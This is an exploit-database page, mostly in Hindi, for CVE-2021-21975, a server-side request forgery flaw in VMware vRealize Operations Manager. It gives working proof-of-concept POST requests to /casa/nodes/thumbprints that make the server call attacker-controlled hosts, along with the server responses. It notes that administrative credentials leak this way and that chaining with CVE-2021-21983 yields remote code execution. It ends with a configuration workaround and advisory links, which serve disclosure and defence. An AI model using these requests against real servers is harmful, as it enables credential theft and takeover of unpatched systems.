## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MURATAYDEMIR-CVE-2021-21975
**[CVE-2021-21975] VMware vRealize Operations Manager API सर्वर साइड अनुरोध जालसाजी (SSRF)**

* * *

vRealize Operations (vROps) एक उपकरण है जो ऐप्स से लेकर बुनियादी ढांचे तक AI-संचालित स्व-चालित आईटी संचालन प्रबंधन प्रदान करता है, ताकि VMware Cloud और HCI तैनाती को अनुकूलित, योजना और स्केल किया जा सके, साथ ही सार्वजनिक क्लाउड निगरानी को एकीकृत किया जा सके। VMware vRealize Operations Manager API `8.4 और सभी पिछले संस्करण` सर्वर साइड अनुरोध जालसाजी (SSRF) भेद्यता के लिए संवेदनशील हैं। इस भेद्यता का सफलतापूर्वक शोषण करने से आंतरिक संसाधनों को पढ़ने या अपडेट करने की संभावना हो सकती है और इस मामले में, एक हमलावर vROps सर्वर के प्रशासनिक क्रेडेंशियल आसानी से चुरा सकता है। `CVE-2021-21975` और `CVE-2021-21983` को संयोजित करके, एक हमलावर दूरस्थ vRealize Operations सर्वर पर मनमाना कोड चला सकता है।

**Proof of Concept (PoC):** इस भेद्यता का शोषण करने के लिए, आप निम्न अनुरोध का उपयोग कर सकते हैं

root@kitploit:~
    
    
    POST /casa/nodes/thumbprints HTTP/1.1
    Host: vulnerablehost
    Content-Type: application/json;charset=UTF-8
    Content-Length: 70
    Connection: close
    
    [
      "h4mv9d2pleyg06fqvl2o4zif46azyo.burpcollaborator.net/CVE-2021-21975"
    ]
    

उपरोक्त अनुरोध का प्रतिक्रिया नीचे दी गई है

root@kitploit:~
    
    
    HTTP/1.1 200 200
    Date: Fri, 02 Apr 2021 20:59:02 GMT
    Server: Apache
    X-VSCM-Request-Id: oH006VQB
    X-XSS-Protection: 1; mode=block
    X-Content-Type-Options: nosniff
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
    X-Frame-Options: SAMEORIGIN
    Connection: close
    Content-Type: application/json;charset=UTF-8
    Content-Length: 151
    
    [
      {
        "address": "h4mv9d2pleyg06fqvl2o4zif46azyo.burpcollaborator.net/CVE-2021-21975",
        "thumbprint": "<html><body>6xal4bz5uui7c8nzvu368ezjlgz</body></html>"
      }
    ]
    

![Screen Shot 2021-04-03 at 01 03 29](https://assets.kitploit.com/production/public/readmes/29658/d7626be396eb6c8dd6c0e96d6dca54a9780a55fda2712780600c308bb558fb8a.png) ![Screen Shot 2021-04-03 at 01 18 07](https://assets.kitploit.com/production/public/readmes/29658/df5025bd27125de72c92d91e53fb0ced34584390fa3cca4799f9d7e43e21e3a9.png)

इसके अलावा प्रशासनिक क्रेडेंशियल `Authorization` हेडर में प्रकट होते हैं।

![Screen Shot 2021-04-03 at 01 19 39](https://assets.kitploit.com/production/public/readmes/29658/c3349794baa0b9dc41be57996ded48b8b618758f85e0a7d969b9a9e78c31e6cc.png) ![Screen Shot 2021-04-03 at 01 24 34](https://assets.kitploit.com/production/public/readmes/29658/e5951f1113246dd8c65e97eeb8f12a70d319e745d49dae813fcb4d80f4026b00.png)

**Other Proof of Concepts (PoCs):** या आप CVE-2021-21975 VMware vRealize Operations Manager API सर्वर साइड अनुरोध जालसाजी (SSRF) भेद्यता का पता लगाने के लिए निम्नलिखित अनुरोधों का उपयोग कर सकते हैं

root@kitploit:~
    
    
    POST /casa/nodes/thumbprints HTTP/1.1
    Host: vulnerablehost
    Content-Type: application/json;charset=UTF-8
    Content-Length: 37
    Connection: close
    
    [
      "78.171.203.41:8000/CVE-2021-21975"
    ]
    

root@kitploit:~
    
    
    HTTP/1.1 200 200
    Date: Fri, 02 Apr 2021 21:00:03 GMT
    Server: Apache
    X-VSCM-Request-Id: oH006VQE
    X-XSS-Protection: 1; mode=block
    X-Content-Type-Options: nosniff
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
    X-Frame-Options: SAMEORIGIN
    Connection: close
    Content-Type: application/json;charset=UTF-8
    Content-Length: 67
    
    [
      {
        "address":"78.171.203.41:8000/CVE-2021-21975",
        "thumbprint":null
      }
    ]
    

![Screen Shot 2021-04-03 at 00 00 20](https://assets.kitploit.com/production/public/readmes/29658/fc80e69f8a217cbed1f0673c147408973414c3db7c1c7b331b15eb0df5e29e2f.png)

root@kitploit:~
    
    
    POST /casa/nodes/thumbprints HTTP/1.1
    Host: vulnerablehost
    Content-Type: application/json;charset=UTF-8
    Content-Length: 37
    Connection: close
    
    [
      "78.171.203.41:8000"
    ]
    

root@kitploit:~
    
    
    HTTP/1.1 200 200
    Date: Fri, 02 Apr 2021 21:00:39 GMT
    Server: Apache
    X-VSCM-Request-Id: oH006VQJ
    X-XSS-Protection: 1; mode=block
    X-Content-Type-Options: nosniff
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
    X-Frame-Options: SAMEORIGIN
    Connection: close
    Content-Type: application/json;charset=UTF-8
    Content-Length: 52
    
    [
      {
        "address":"78.171.203.41:8000",
        "thumbprint":null
      }
    ]
    

![Screen Shot 2021-04-03 at 00 01 00](https://assets.kitploit.com/production/public/readmes/29658/d8433abcb2553500063d97e5d1052a9117f8b4bf90fdbf80c6518a7af90c701b.png)

**Workaround Solution:** यदि पैच स्थापित नहीं किया जा सकता है, या आपके vRealize Operations संस्करण के लिए कोई पैच नहीं है, तो समस्या को हल करने के लिए निम्नलिखित कदम उठाए जा सकते हैं। इस workaround को लागू करने पर vRealize Operations पर कोई प्रभाव नहीं पड़ता है।

vRealize Operations में इस समस्या का समाधान करने के लिए, `casa-security-context.xml` से एक कॉन्फ़िगरेशन लाइन हटाएं

  1. SSH या कंसोल के माध्यम से प्राथमिक नोड में root के रूप में लॉग इन करें, कंसोल में लॉग इन करने के लिए ALT+F1 दबाएं
  2. `/usr/lib/vmware-casa/casa-webapp/webapps/casa/WEB-INF/classes/spring/casa-security-context.xml` खोलें
  3. लाइन ढूंढें और हटाएं: `<sec:http pattern="/nodes/thumbprints" security='none'/>`
  4. फ़ाइल को सहेजें और बंद करें
  5. इस कमांड से CaSA सेवा को पुनरारंभ करें: `service vmware-casa restart`
  6. vRealize Operations क्लस्टर में अन्य सभी नोड्स पर चरण 1-5 दोहराएं।



अधिक जानकारी के लिए, निम्नलिखित पृष्ठों पर जाएं।

https://kb.vmware.com/s/article/83210  
https://www.vmware.com/security/advisories/VMSA-2021-0004.html  
https://f5.pm/go-66465.html

Exploit Code

Share

Share on social media: